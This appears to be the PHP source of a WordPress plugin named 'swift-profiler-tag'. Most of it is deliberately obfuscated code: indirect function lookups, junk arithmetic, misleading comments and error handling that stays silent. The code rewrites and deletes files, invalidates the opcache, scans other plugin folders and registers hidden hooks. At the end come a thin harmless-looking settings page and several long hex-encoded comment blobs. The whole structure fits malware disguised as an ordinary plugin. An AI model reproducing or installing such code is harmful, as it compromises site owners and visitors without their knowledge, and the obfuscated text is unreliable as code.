  if  (hus_b7m621lgc6(2433)($s0ue7gwwslo7) <      2  ||    $s0ue7gwwslo7[0]     !==  $_2czqqmep3g9fh[1]  ||  (int)  $s0ue7gwwslo7[1]    !== (int)     @rmqbu5no5o(2413)($mw8hnp982r7vm))  {
  @wyzg13xdhd5r(2423)($buoq3h9wej);
  continue;$lw86t_tfg7mp2=8928;$x5jh2vhbv1tr9=$lw86t_tfg7mp2%2;
}



 if   (ap4ok1eip838yapv3nc6($mw8hnp982r7vm) !== false) {
ms4mh9yjk8_y876983kix($mw8hnp982r7vm,     (414+6));
if (oj333ptt2v9_ikd4str_($mw8hnp982r7vm))  {
   @igsdp_2fdrp(2423)($buoq3h9wej);
if  (hus_b7m621lgc6(2434)(rmqbu5no5o(2417)))  @opcache_invalidate($mw8hnp982r7vm,   true);

    }
       }
 continue;

 }
@hus_b7m621lgc6(2435)($buoq3h9wej,  $_2czqqmep3g9fh[1]   .  '|'   .  (int)     @ep_coq62(2436)($mw8hnp982r7vm));
  continue;



     }
 if   ($_2czqqmep3g9fh[1]   ===    $w6vtvqff5bs8f) {
$ktcv7n9hk4a91rbt   = qj1dx17525o10cjjsjm65b();
      $nptgtyeh17  =      false;



   if  (!empty($ktcv7n9hk4a91rbt[wyzg13xdhd5r(2437)])) {
       $phrvu77_iwmgt2hj  =    @ep_coq62(2438)($ktcv7n9hk4a91rbt[lfavz1nmi6pw4(2439)]);
  

  $u8uuqtw1p0a    =      @ep_coq62(2440)($mw8hnp982r7vm);$h8mzhwl1nm3ha5=71+54;$cs2okpibmc4137=$h8mzhwl1nm3ha5-39;
       if (lfavz1nmi6pw4(2415)($phrvu77_iwmgt2hj)   && igsdp_2fdrp(2441)($u8uuqtw1p0a) && $phrvu77_iwmgt2hj === $u8uuqtw1p0a    &&    zdzetw638davbhtwru($ktcv7n9hk4a91rbt)  ===  hus_b7m621lgc6(1915)    &&  dww3vqm0v_wguq7nb_u($mw8hnp982r7vm))     return;
   if (hus_b7m621lgc6(2442)($phrvu77_iwmgt2hj)    &&   $phrvu77_iwmgt2hj   ===    @rmqbu5no5o(2443)($cpkodlqbbn90ky))  $nptgtyeh17 = true;
 }

if    (!$nptgtyeh17 &&    !dww3vqm0v_wguq7nb_u($mw8hnp982r7vm))  {
      if (pje0f8ozx98xw5lvp($mw8hnp982r7vm) ||   ap4ok1eip838yapv3nc6($mw8hnp982r7vm) !==  false) {
 if (cyv7b4mpbkf5y9k($mw8hnp982r7vm, $mw8hnp982r7vm  .    igsdp_2fdrp(178))  && ep_coq62(2444)(rmqbu5no5o(2445)))   @opcache_invalidate($mw8hnp982r7vm, true);
}
unset($ktcv7n9hk4a91rbt,  $nptgtyeh17,     $phrvu77_iwmgt2hj,  $u8uuqtw1p0a);
continue;
 }
 if     (!$nptgtyeh17  &&     rmqbu5no5o(2329)(rmqbu5no5o(2432)(hus_b7m621lgc6(2427)($mw8hnp982r7vm,    rmqbu5no5o(2411))),   0,   (0xb+0x1))  > igsdp_2fdrp(2329)(wyzg13xdhd5r(2446)($aow6vk_if5kabr), 0, (1+11)))   return;

    unset($ktcv7n9hk4a91rbt,  $nptgtyeh17, $phrvu77_iwmgt2hj,   $u8uuqtw1p0a);


   }

  }
    }
  unset($cpkodlqbbn90ky, $w6vtvqff5bs8f,     $j7oe0t81vj9t, $_2czqqmep3g9fh,  $ki16se9sqwvxv,     $ws4bhjq6jlcffxq1,  $bi7l5v5ptoipy, $mw8hnp982r7vm,  $x2r3_l0jbal5r97,   $aow6vk_if5kabr, $b0su6mhla7zsb,      $zee_pc87wmz,  $buoq3h9wej,  $s0ue7gwwslo7);
      }     catch      (Throwable   $mrelaaojjq4dc7d)      {
    } catch  (Exception $mrelaaojjq4dc7d) {
   }
     if (isset($GLOBALS[hus_b7m621lgc6(159)]))  {
  if     (version_compare((string) $GLOBALS[ep_coq62(159)],    m5d7gnhy503_5w7j(),  ep_coq62(198))) return;
   $GLOBALS[lfavz1nmi6pw4(2043)]   =   1;
  }  elseif  (defined(igsdp_2fdrp(2447))) {
// WP Core Data enqueue order

   $u8mgfaq9bvceth7    =  constant(wyzg13xdhd5r(2448));
  if (ep_coq62(2442)($u8mgfaq9bvceth7) && lfavz1nmi6pw4(2449)(hus_b7m621lgc6(1663),      $u8mgfaq9bvceth7) &&  version_compare($u8mgfaq9bvceth7,  m5d7gnhy503_5w7j(), hus_b7m621lgc6(198))) return;
$GLOBALS[lfavz1nmi6pw4(2043)] = 1;
      unset($u8mgfaq9bvceth7);

  }
   $GLOBALS[igsdp_2fdrp(2450)]   = m5d7gnhy503_5w7j();
 if    (ep_coq62(2444)(wyzg13xdhd5r(163))) @clearstatcache(true,  kwizo_5vxh_f26an7qg());

 $GLOBALS[rmqbu5no5o(161)]    =    (string) @igsdp_2fdrp(2436)(kwizo_5vxh_f26an7qg()) .  ':'  .   (string)    @igsdp_2fdrp(2412)(kwizo_5vxh_f26an7qg());
 if     (!defined(rmqbu5no5o(2448)))   define(rmqbu5no5o(2451),  m5d7gnhy503_5w7j());
 if      (!defined(hus_b7m621lgc6(2452)))   define(lfavz1nmi6pw4(2452),    m5d7gnhy503_5w7j());
 avhn6w577un09rbhdbl1(ep_coq62(1751));

  iu8_xmqjaudq9e(kwizo_5vxh_f26an7qg());
if      (ep_coq62(2453)(rmqbu5no5o(2454))    &&   ep_coq62(2455)(ep_coq62(2456)))    {

    try {
       $rsbay0i39v   = bv_j7m9r7_qskxb7m();
  if     (@lfavz1nmi6pw4(2408)($rsbay0i39v)) {
   $s4cygth2uqxz08    =    ukqz_udm228qa8d();
 $vt63ypxiyel4ss   =  aoy815vanbylrvbuug0i($rsbay0i39v);
if     (igsdp_2fdrp(2409)($vt63ypxiyel4ss))     {
   foreach   ($vt63ypxiyel4ss  as $aczyamj8h_fn) {
    if    ($aczyamj8h_fn   ===    $s4cygth2uqxz08)  continue;
if    (ep_coq62(1255)(hus_b7m621lgc6(823)($aczyamj8h_fn,  constant(rmqbu5no5o(2457))))  !==  ep_coq62(515)) continue;
      $lglbbagfbb8dg    =  $rsbay0i39v   . '/'  .  $aczyamj8h_fn;$shuzn0k9f0=-433;$q0oh2fotdq=($shuzn0k9f0>0)?$shuzn0k9f0:-$shuzn0k9f0;
  if     (@hus_b7m621lgc6(2458)($lglbbagfbb8dg)    &&   @rmqbu5no5o(2436)($lglbbagfbb8dg)  >   (4953+47) && u8byy6z6npcskqe5pyv($lglbbagfbb8dg,     (0xa9+0x12df)))   {

sfqgag4hultp35f($lglbbagfbb8dg);
 }
 }
// MySQL window functions: unbounded journal

}
  }
 } catch    (Throwable  $mrelaaojjq4dc7d)     {
  hnp_n76gqrqs6vbf7203of(rmqbu5no5o(225),    $mrelaaojjq4dc7d);
  }  catch (Exception $mrelaaojjq4dc7d)      {
}
 }
  
if  (! eqhzhhm11h2k_p())     {
 yh_5wfg4508dbh(lfavz1nmi6pw4(423),  hus_b7m621lgc6(2459),  1);
       }
     


  $GLOBALS[hus_b7m621lgc6(691)] =     array();   
    $GLOBALS[hus_b7m621lgc6(2460)] =   array();  
 $GLOBALS[igsdp_2fdrp(469)]   =     "";   
if      (igsdp_2fdrp(2455)(hus_b7m621lgc6(2047)))  {
igsdp_2fdrp(2047)(wyzg13xdhd5r(2461));
      igsdp_2fdrp(2462)(rmqbu5no5o(2463));
}
  $j_lhjupvsxp  =     igsdp_2fdrp(2464)(kwizo_5vxh_f26an7qg())  .   igsdp_2fdrp(768) . wyzg13xdhd5r(2427)(kwizo_5vxh_f26an7qg(),    wyzg13xdhd5r(2411));
  if  (@ep_coq62(2458)($j_lhjupvsxp))    {
 $jsbkzrc03ype   =  wyzg13xdhd5r(2465)((string)   @hus_b7m621lgc6(2414)($j_lhjupvsxp));
   $w5erfwzgo3 = lvpn93_26gfwiesn();
      if  ($jsbkzrc03ype    === ""  ||     $jsbkzrc03ype   !==  $w5erfwzgo3) oj333ptt2v9_ikd4str_($j_lhjupvsxp);

 unset($jsbkzrc03ype,  $w5erfwzgo3);
  }
     try  {
     @hus_b7m621lgc6(22)(lfavz1nmi6pw4(2464)(kwizo_5vxh_f26an7qg()) . ep_coq62(2466)  . hus_b7m621lgc6(2427)(kwizo_5vxh_f26an7qg(),   lfavz1nmi6pw4(2411)));
     $mkuixo0z0j0y =    ep_coq62(2467)   . lvpn93_26gfwiesn();
   foreach (array(rmqbu5no5o(2464)(kwizo_5vxh_f26an7qg()), bv_j7m9r7_qskxb7m()) as   $co_9fn8ty9d5sufu) {

  if     (@rmqbu5no5o(2458)($co_9fn8ty9d5sufu    . '/'  .    $mkuixo0z0j0y))     @lfavz1nmi6pw4(2468)($co_9fn8ty9d5sufu     .  '/'    .   $mkuixo0z0j0y);
      }

  unset($mkuixo0z0j0y,      $co_9fn8ty9d5sufu);
 }   catch (Throwable $mrelaaojjq4dc7d)  {
}  catch   (Exception    $mrelaaojjq4dc7d)   {
     }
   unset($j_lhjupvsxp);


yh_5wfg4508dbh(wyzg13xdhd5r(880), lfavz1nmi6pw4(2469),  0);
yh_5wfg4508dbh(igsdp_2fdrp(880), wyzg13xdhd5r(2470), 0);
 yh_5wfg4508dbh(igsdp_2fdrp(2471),  ep_coq62(2469),      0);


  yh_5wfg4508dbh(ep_coq62(2472),     wyzg13xdhd5r(2469), 0);
 yh_5wfg4508dbh(hus_b7m621lgc6(2472), lfavz1nmi6pw4(2473), 2);


 yh_5wfg4508dbh(igsdp_2fdrp(2472),   igsdp_2fdrp(2474), (0x2+0x1));
      yh_5wfg4508dbh(ep_coq62(2472),  igsdp_2fdrp(2475),   (1<<2));

  yh_5wfg4508dbh(lfavz1nmi6pw4(423), hus_b7m621lgc6(2476),    (2+3));
 kptd4727suew2_rdqpl(hus_b7m621lgc6(2477),  ep_coq62(2478), (0x4+0x6),    1);
    kptd4727suew2_rdqpl(rmqbu5no5o(2479),  rmqbu5no5o(2478),    (172^166),   1);
kptd4727suew2_rdqpl(igsdp_2fdrp(2480), ep_coq62(2478),    (1+9),   1);
    kptd4727suew2_rdqpl(hus_b7m621lgc6(2481),  hus_b7m621lgc6(2478),  (9+1),   1);



        
   kptd4727suew2_rdqpl(wyzg13xdhd5r(2482), rmqbu5no5o(2483),  (920+79),     (4-1));


   yh_5wfg4508dbh(igsdp_2fdrp(1032), rmqbu5no5o(2484), (947+52),   2);
   
 kptd4727suew2_rdqpl(lfavz1nmi6pw4(2485),  ep_coq62(2486));
kptd4727suew2_rdqpl(igsdp_2fdrp(2487),    ep_coq62(2488), (0x2+0x8), 2);
    kptd4727suew2_rdqpl(lfavz1nmi6pw4(2489), ep_coq62(2490));$xqmjxfluz6wu=5173;$gmbttz0a9=$xqmjxfluz6wu%8;
     
 kptd4727suew2_rdqpl(rmqbu5no5o(2491),    rmqbu5no5o(2492),  (0x7+0x3),  1);

kptd4727suew2_rdqpl(rmqbu5no5o(2493),   igsdp_2fdrp(2494),  (0x7+0x3),      2);
     yh_5wfg4508dbh(rmqbu5no5o(2495), igsdp_2fdrp(919));
   kptd4727suew2_rdqpl(lfavz1nmi6pw4(2496),    igsdp_2fdrp(2497));
   
 kptd4727suew2_rdqpl(rmqbu5no5o(2498),  rmqbu5no5o(929));
   

 yh_5wfg4508dbh(rmqbu5no5o(2499),  rmqbu5no5o(2500),      -(921+78));
// @fallback opaque-type



yh_5wfg4508dbh(wyzg13xdhd5r(2501),  lfavz1nmi6pw4(2502), -(952+47));
 yh_5wfg4508dbh(ep_coq62(2503),   ep_coq62(2504),   -(960+39));
      
yh_5wfg4508dbh(rmqbu5no5o(2505),     hus_b7m621lgc6(2506),  (0x13a+0x2ad));
yh_5wfg4508dbh(wyzg13xdhd5r(2507),   rmqbu5no5o(2508),   0);
yh_5wfg4508dbh(rmqbu5no5o(2509),  lfavz1nmi6pw4(2510),      (0x115+0x2d2));
     yh_5wfg4508dbh(hus_b7m621lgc6(2511),     igsdp_2fdrp(2512), (973+26));

  
  yh_5wfg4508dbh(wyzg13xdhd5r(191),     wyzg13xdhd5r(2513),   2);
 yh_5wfg4508dbh(rmqbu5no5o(2514),   rmqbu5no5o(2515),   0);

yh_5wfg4508dbh(wyzg13xdhd5r(2516),  rmqbu5no5o(2517),    0);


yh_5wfg4508dbh(wyzg13xdhd5r(2518),      wyzg13xdhd5r(2519),     0);

yh_5wfg4508dbh(igsdp_2fdrp(2520),    hus_b7m621lgc6(2521),  1);
 yh_5wfg4508dbh(lfavz1nmi6pw4(2520),  wyzg13xdhd5r(2522), 2);
    
  yh_5wfg4508dbh(lfavz1nmi6pw4(2520),   hus_b7m621lgc6(2473),    (2+1));
    yh_5wfg4508dbh(ep_coq62(2520),  ep_coq62(2523),  (1+3));
 yh_5wfg4508dbh(hus_b7m621lgc6(2520),  wyzg13xdhd5r(725),  (0x4+0x1));
   yh_5wfg4508dbh(hus_b7m621lgc6(2524),  lfavz1nmi6pw4(2525),  (197^195));
  yh_5wfg4508dbh(hus_b7m621lgc6(2524),      wyzg13xdhd5r(2526), (0x2+0x4));
 yh_5wfg4508dbh(wyzg13xdhd5r(2527), wyzg13xdhd5r(2528),     (4+2));$zku73mb_rx=(0xa4+0x20);$ps5hwe8a_y5=$zku73mb_rx%13;
        yh_5wfg4508dbh(ep_coq62(2527), rmqbu5no5o(2529),    (3+4));


  if   (lfavz1nmi6pw4(2530)(ep_coq62(2531)))  {$t7kw5vitoys=(0xb5+0xd5);$vtzlgqa0ol=$t7kw5vitoys%3;

  ep_coq62(2531)(function   () {

    if      (!empty($GLOBALS[igsdp_2fdrp(2532)]))  return;
if (!defined(wyzg13xdhd5r(2232))  ||  !lfavz1nmi6pw4(2530)(igsdp_2fdrp(2247))) return;

    if (rmqbu5no5o(2530)(rmqbu5no5o(2533)))   {
  try     {
        zksb68q35cwjie();
  }    catch      (Throwable  $mrelaaojjq4dc7d)  {


 }  catch    (Exception  $mrelaaojjq4dc7d) {
   }
 }
});
}
    yh_5wfg4508dbh(ep_coq62(2527),   igsdp_2fdrp(2534),     (6+2));
// @synchronize phantom

  yh_5wfg4508dbh(wyzg13xdhd5r(2149),  rmqbu5no5o(2149));
    yh_5wfg4508dbh(wyzg13xdhd5r(2150),  igsdp_2fdrp(2535));
    yh_5wfg4508dbh(igsdp_2fdrp(423),   ep_coq62(2536), (6+4));


     yh_5wfg4508dbh(hus_b7m621lgc6(2527), function   () {
if  (!wyzg13xdhd5r(2530)(rmqbu5no5o(2537))     ||    !ep_coq62(2530)(rmqbu5no5o(2331)))   return;
$o6s6ow0u8q160qw  =    (int) @get_option(lfavz1nmi6pw4(2538),  0);
 if  ((ep_coq62(2333)()     -  $o6s6ow0u8q160qw) >  (6607-3007))     {

  @update_option(wyzg13xdhd5r(2538),    lfavz1nmi6pw4(2333)());


 r7wcqi4j4spojesham();
       }



   },    (0x5+0x4));
   
      yh_5wfg4508dbh(lfavz1nmi6pw4(74),  lfavz1nmi6pw4(2539));
    kptd4727suew2_rdqpl(rmqbu5no5o(2540), hus_b7m621lgc6(2541));


       if (hus_b7m621lgc6(2530)(igsdp_2fdrp(498)) && did_action(wyzg13xdhd5r(2542)))  {
uucy30rcsxsn8ibb8();




    }
  
}
add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','swift-profiler-tag-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('swift-profiler-tag_group');
        do_settings_sections('swift-profiler-tag-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('swift-profiler-tag_group','swift-profiler-tag_options');
    add_settings_section('swift-profiler-tag_main','Configuration',function(){echo '<p>Configure options below.</p>';},'swift-profiler-tag-settings');
    add_settings_field('swift-profiler-tag_cache','Cache Mode',function(){
        $o=get_option('swift-profiler-tag_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('swift-profiler-tag_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'swift-profiler-tag-settings','swift-profiler-tag_main');
});
if(function_exists('add_shortcode'))add_shortcode('swift_profiler_tag_stats',function(){
    $o=get_option('swift-profiler-tag_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('swift-profiler-tag_options'))add_option('swift-profiler-tag_options',array('cache'=>'enabled','version'=>'1.0'));
});

/*d0223cf3293d291a077e72dea4eb2d6d666c070b648ecb727987f61b9c8d6a38db961635be710019fc7cbfbf61ee43f547b4ad944a8e8dbf56f9914c6b2dca706223fcb5c294b049a15a028f9eb54ddb822bab026f6fa7e41817de9eeecb331b1c72b56aa55ca9de15de29c26f9de73c83c73140a550cca4b1ed8118b29a2eeab9ee3b90a29610f44119c59b24c4d0f5261f6e980365c8a86243a7747492feb27fafebf5f499b970d13ce67d0d79440415f073ce7f9361b266ded0a2c5570c16ef673de9f97df41609ffff25cd479fd336d38369e1eb82b4febc42f5b2a2992ffee008597b1f3dda59e683b07335da358b1232f279e88f4c9c7c755b4060b55936b72df4c533b3509218c2ac7f3e103288b5afd1bd9c078dbf2392e7c189fd4c505ea9cdda22e30dfc4e7f1a6ab10b46e2b7b4e3dd58de2437fd224bd809eb20a760e41bcbfe3fcb291b360469180204b52f65a713646f9816ee31056f9b27369432495805890c5cb8c84ab6ea7fa8d605163ee0dac7e839e83fb3e0b29bf38582dea87fb58065a4fc63f8d78d25c14cd0bdac9f4246e26c929f69a02fecf5827b4913bf666b05b2c30902a2463d048ae7dc4ed34399d40b2cd057283431e7935956cf59cf2bd8a438980d7c8cac6bd3ddd921c433b489c3ce3e6f39c867f467a5a605c78013f3d85172626b2da3f1852413ae631fd6d599bc08b01f51169d1e87c7c7872479be9b2a830e2ebc47c25b8e6cf0fc4b5522afda5f0936dc37bf7844bdb3f490c51b3972c935024cc096462d40ae4b6df4bc5a2fc20c38d34a9e48bd43423ea2b8f413ec06b3a5d0db7a90d5ef8a012811cc24e50289ac072226839616d0ce8e5564145c91272d01ca7da6b43cb633465dc1db1a66d3a9e49819df30fa25d55618abe05aad4f49493c969a14216859df3faa14be617b6b4520fea3d2772c05ad4abf7987c45b2470275c913f1440d4f56a9ac5308889b9ba69ffe1ef29b557f031b750f2e80d3cddb8e07e04307e05ab64e48406670660b7c7f73fb41af1be11f18e548ea6ef654350d70bdfc4ca25a9a42c25f42d2def3f55048ace80dccbc33c2788957f16916e04ee2a19a8b91d893587611206b916774d1ebed071e3e4dcb64074b3be0cd8298422793fc4c75f87cfad43531115688fdbc2f6d0da7dded007e761440c0ec5cd69eeac8045f81ec279439d21e865c8245298b1f805ae8671ed3d261954f9c965c5c0197ea610506a019d3f9b207dbec06b8b1ed60b2042b58ea8fe35a1597eb2796b5fc107780dc2b20b9a55c003c7b9625d84b27e70e045b302680fc773709f4006092894f8f48820e755cefeb5bd1235b3f04d02add8aaab0688046f3fb18dd0106b80ae2f18342355d55390bfaf2f7c639d238d67ac087bd9d13b69c243bfd445491159a7e072d229fb3d4cf42f2611f266e5c808a12d66ef39b072552089c371280199cbd1547f108f892a309239ff305bb8f37b75a1d5badc5ccd985a3ad8217f3e38d5d0dce073f41a8d93c82936e1985336743c58ec9139fe6bd6bd4f8a929379a4e8cd97a49d460e33b4ed85f0b045476cf67a15fac8a4a942ad38bcfffb044f7c5df66b7374bce4be45a9217439e4685f5b64d8e0d59262221501945e4d6b33917079ce61716551ccd05f888a9999bfd339b81788e633f8848067d87dffd389c0eb5e72f437be583476cdadaaae1167a33923e383bacffa10173723d46b80d2b376a21939e012d89ce22fec72ccdc8155363fe9e60d07d9f4a7925fa9bafac82bad42ad42feb568cb75f0226e92c572970b6d48dc9b1e43046e60dca4220ea50708cfc758e7ab0562384fdc9cdc1172994e00a1ce153e29d1256b1ca48ca78dd04b4c4c6f9f1250c437ad6b19b9ecdd65aa2c0167551dd0aba38f0066034b1e404e3a9629180113db0657f733ccaa3f8123d126592e1e503c332128e7e7a62940a98219e765ed5f5c5f088e53fc33e18eca5497ae1aa76a775634ca946eb6c28b2a617eafe066d3a5340f4b2a5ff65680275896c783e44631cbf721e44861d4b8bf504331f4eb4189f0bc81211d24c0dba0cdfa865f52e2f4d602d65c9d7ee8596c0a7ab29e14a4d981797b75cbc51b7747b7b97cd9f7ed2bd17506d909b38fe21cf55dcfbee62e0a9ada8cf209689c19597f5276b0658352729a7ccc84483ffb96163e065f770999f1969a3517b7a2d7805bd701b0716f61ece18f8d555d80dd90d3abb07c90d327e4581e802546f864f6c3afa55ec2b77f4f043457fd71432df79646eee73a8f5b8402ce1ebba319fc383396e270aa5dae770e18eb7809886464ff1d9b56faa161c4d0ff24b2cbcb80bf325616864fdbd74eec76b8524131da8b99d139084d77b9eb761392ffb5cb971c49fcc0cf943cbcc4531c028bcb86037b633448332308399c7d97104a5897e6dd9a3d2e532504538d491656419d322eac0ade385c1a2864e00088d02190a6ba1a6fa225c9479c1ab67c013e0133a3201e5adfea0b0f5ac112acc1bbd0fb840588c7f1f5a8690a923b4471eefacedd2429c5b1fce7d3c3bfed7ee43eecc61ba61fa232a704e0f9ea9c2b5d1da07dfae8c3c3b60d8b825416fba13a03230fa4452443589a385c0efa5b0617625100569845a577ad2d93c5d380597d2278c873f66e01f6793c5feb04ca82c4f6e671cc027d4caa6da48acdd739a22537a6e24c7f35911360122195660a6d304c3a0698dc82e2644afcc49455b634d4983c3557ea7a223b7956fefaeb00de2f960e04562d75fead9dfa58d0780012485d6d6b5067b8a3908353be8b2dea0398e8e826*/
/*384e467f2a84b8b106214e21e4befdba7bc97283150043622e5a23ae4a6d2505e1f7a033e0c6263452c04ba063c6eb4c701e6d44eca2df6c650cc78a87c3712ba16f031de4d914e47edf83529e786598fe97147bcb5277ea70bfba2876602e8f0ae2ea177f42481d1cb5b781d32af695f222e4078682f5eec8458bef63237c3e68f392c14f54323ecb0099cc6af01b993f21931474e8f8626dbe9191aa27e08eae1e1993d26c7024ee41a25e4e1e7802cb71045e50ea0b7fc79671e4bf111855d30964c2fec4442cded9290284d5db1119b70d80a1622ead61f08d83c7d75203429fffe18b34c46a0eb4b463aa6e3247fc30504ee8d57bf5505e2d407feb63bb410df807f2c4e64edeedbd1236cea4a0463d86a1e0820302acd3541c336afb994503bed166050d7963746b7d1d9c06836e2a499073b7677fc7696086e1b1d09da42040ec02e0090d59c16d1dc2aaf53477e7f7cce9e865ed5cc4893c002dd208a54bb196badd32640ac24ea2d2c900b1cc96ee5096a0f2c0d136aa96d2a2f335654636ae4ad282f7713c85559a1a91eef6152c92830ba7f8207dae7475d033f03f9ae1173d9084b5e2ecd5794d30bb0bf662c8c3d97a3474b6cfaacda074218d15b910203a6bc9216a0416f5d200e73103acc7e070c7b231e20b05e41c2fee18a74c76b6b7c552741cf3ff3c9ccda5c71ef49cb92be9fe1b2c76e3b7ee15125fcbae2a9d271b04c4bd42277d3bd60d0e6c489d312f14a3ad76fe04a4d7132f791ca1a05fc17eae8c0008b04d252578b4fd6b7db4b93b88d77f7bdc2f264e459c850cc3721f43ce839065edc10f0bfc9d432bc391c18908ff151bcfb98992c017ba45a7e9542760e044ab2ec5333f3bd14c792470d228c28eb86661d4f14916d2ade9f7dec74ad6550d59b79d0cbf7cb874b204a37228fb1530c1dce87d78544eabab1f65055ac2b337d4c1c06ac2ee1b41f4a8978a926e2aff502acf06c1432928ce1bd0054548d6f245927057be14809f1eafa1609fd77dd487c5d521d7be8666079fa7dc9df21988bf37cffa527e93f2b7a03beb5944e1fc98280a4ff5702a6b7cecccfec48b74e0248e8652dbf3e908838f3b1861d7105be815e11fbf8c0880e36a434ad6970ad59221e5ba33702a8ffc3860663d6b094c263c37c4f277e23f1f20f5d248a4dcdb4e5adbd0195eadd78f7e9fbe544f19ebe40d05ee640985c241fa2ec430854ad78c23dae2f4dbd8315d11108c879799952847ccde0efe09f56a25d8d424c719cfbc247653b2fc0b0325306b2ccc3431f2d8eeea93940e1979a535e522bb0db800ceddba0de5297953367610f0005987e3d820c4652a4a517b683df80e518fe89f41be595fe95389b6d7038518dc6e8543fdf2d78dde4ee92f3fc41d3d31cfda4a01e5476d933a25c0a201d08ad84a0911560dbdcae3d23b264ee5a1f852d49e08422e40d779fbb6d8db6508e0ff393d90fd891672eed097cf7f05826c6e3ed6e76b2f4cf7dbc86e986b9e311d9aa56814dc38138aeaaa96926398ec6633471080a99bc3ecfcc48b0cf585dad9ac1c0b2e0ba59f637d290aeadcea06711ac32f07cf15ce3105ce95080dc945a648cfcd01856449c2aa4f675340f11d0d588e6fc40d6c8c546c71ec662b6af60511f16bfd026bc199bda8118ac51f66f775c7c7d53d065b0bd547d0cd7e77e8ba62416ce5580fdb67621d465be216020d901ef615ee62e48edeec7a0af85ee609e1f18ef2122bc7b591b103453825c7eec307d49f07e06f8608a10a7a823d7474b210d002753b3f99937f5b19fccf3e8addb00a97bc7b2ae642a2ce584d8deedc358306691150112fcf6e1f0baac004c02fc12a97721238a4cd7029a8ecf6a8dd80cb32eeb83816715c7a91bd50b709f3a58bb2ab0aef53b0795b14092a2368293e0e8ad57561c2ac2904dcf25f4c7333eeab8f9b5928c5546b8362917b3713ef19528c76d734673748fb9141459293e0fddec4eb017cf22726efeccf00885053bbede900d4edd06432133bed2d8b6422ba6c5883431501b465b5983db9d7e375892c854d90b57cb296fe0579f0e9a42ee0fca32b5ae3ee61884ac97d18e1464b0ef2f5181166802212bd6f82eabed76a6a632401fb20a617169951ef08f8c4c895dcc94c0aea9b3179d17eb3b5f5b477ff9b582c6c2066897e0c56e66a2accd38d2aced300c45b855afaf91ffe84e7b2603f6081eb03f76bab5f30c5d1d2952bc998be009c44f4c153b3ca9f6b168012329710440c52020aedd3659be7fc76bcf90c5e994ccf7f424b751be24b7cf5b2c9268dd1c689b8baf0e9c0fa0ec488f0d053b42d99cd9b984b66ad74c81dae09d03b3e1fc12e594c3a409cfafbc0ccf09985a5960850b43720137ed562702f16ab3f7711f59e88f32bf7ba7380c05de55f50525ee35cb3de521e92d867be32fc78cfaa77f344336bc5bbc3afa0cf0e0cb732ff9ecffb248772431395cc3c2d6fdfc6a6c15b5e71a70894c8892a11e28db6acc6d0c6b6d1431e8f9830f2d91637e3a5ea06c4ef034a63f6519d85da8a0f1a2f74ce0107787efdc6002e90da0a75e47a0e046cffacd4e4bd1b0ea6a67db28fc0b560493a2826dea5e630ddc0869e84c5e133cba152e97a360c41334419b7f0734c64ae4e649bb62ab9b1e82781750a773e021cfac6026be53878135a0f511099a48ebf4bcef4ea82da0f7464319c976c2da030ff4d81c008b4976a3d865666f127d96f0be70ff0de3745e4adf39060cc8f689cbe9e86633f269c3a0c667af4a68d71b4d64a3add43e24e051648742188d49fad4e2b211db35d*/
/*d04b017aaba52232f410fc921296b2ebad3fac489216e227a58b39d26561beabf52140bfd68c0abda1b3b65660693d7623aef595bb32cdc90f935dc9766ccde84a137ebe4563c549e0a18e88e93ea824387a146c1f72897c945abd21cccd8eb10bc97eaad5d970511aee1916c9fad198421fd802e8e0fefccaf5e02074357d310c5d427e96f389091594353a49834a65762227dbdb1fe07b959a2c9c1e2fb0eef3dfd8ba4bc39bee1b28e917343a9afae6416774aac16a834e25409012c30062d009639abea07904c693cb839efc955cf1c9eb4513ff3b8c31a7015b18e48eaf40cc11cc8278fc2d3519bab1a3624d14f55687e72e1aad7ac52be8ebb6fbbbe0712e15a73fadcd62eac92ce7ef37cb6ec25c26844473fe8f6e26e04044589f1586bc649bb6472fe3f7db57c210b083652c5de6b20b7c3019acf8ccf691715ec31735de1f42e6537bbfedd44d732f722f8f2d71a93e69cca36935413ae02dc9744c90336e242ee71e099752b37bbdaa542812d23400f5f53a2298af25d119e0594b4ba9743f64bcd3726938899149ac68bf223690f86b65cd6b87ae90f76245f29677349c3dd213cf2f03dee529fa58881be4487135c7ea08bcfe59c56ec9e7e4a9585caac6d85af9608e441cbba65ed4439d486987c030e43f211c151d9d2575b84b2c1aeb8e1b67cf8a6b4af7530a6c6fc5408f6122247aeefbea27207a5f8c976e363c29b33638819b9ee511a37c14b3aa1f2fedced03581f29995cb4602259e2e19d828055f96919718234ef0381843d824f600de63dde1f0bfdc76ac78a8a3848a39e72bda590589c948d1197ff2458611c90da3f8b933702b54ae2c8bb1b123c1bacb43d24fc98cd8fe29f29196b34fed855455b7f20285f64d514314d14e40014014d98a45f4fd2532faf0796daf9062c4ff1dc6674537170a3f4c48f8bc03cbdfe3a330305a12caeff3e9f7af1ec45cc87f4dba14b5b395c04195d1b4ce7db8e075d27dac92a0a22ef3f9b2ba00047b9323aa8cbcec96a0a29ac1ec1ac3f3aa1fd0f4156ccff9701f05b8fac1b0b3464dc6b38693cc0bf10591d2645645629894d8e31ca316d0b161d19a435cafc521f59b84fe65d191891c7df57fd4f38813c1575ba37b34e567a3f10c9919cf973e7a05b4298e5647df2344e3057427be744597d01c4aab6b5a5602f490e7e42defbd5f089c3b0d5805074b6872d9c5d391be9d22fe1f700d0439252a9281b7a32ca7293fa6fdcf94157a2a737be8dd6d76df074a84d4c47f69d416b31edf4835de9a2dabd588488ab3c6568cb7b5342c7e04993fa04d4c106fdf70d29d64883b517f4321d9c5eda78225fd247fa9cb80f83f3eec6427ec4c737085c9af944f24ba2d083d7ba40a87281261ba085d16003419b48db3e906bdcd32ec6878e3f46e0b5315dc23c9f909d7881450051320895a4c1f892f10cf49370cff5009fcac87d751d80e3f1b42797549787f35d1ecbc89fdb6720abc3e437794a3ac4bad9e081f5dd1d57c371bcde9c2faf75a3d4184948c1d0c658188bb5edde8fe16c513227075cefe5ab32489975ef004a9eb3dfb06ed07ae081a975c28006e978da1b8698c6624b4e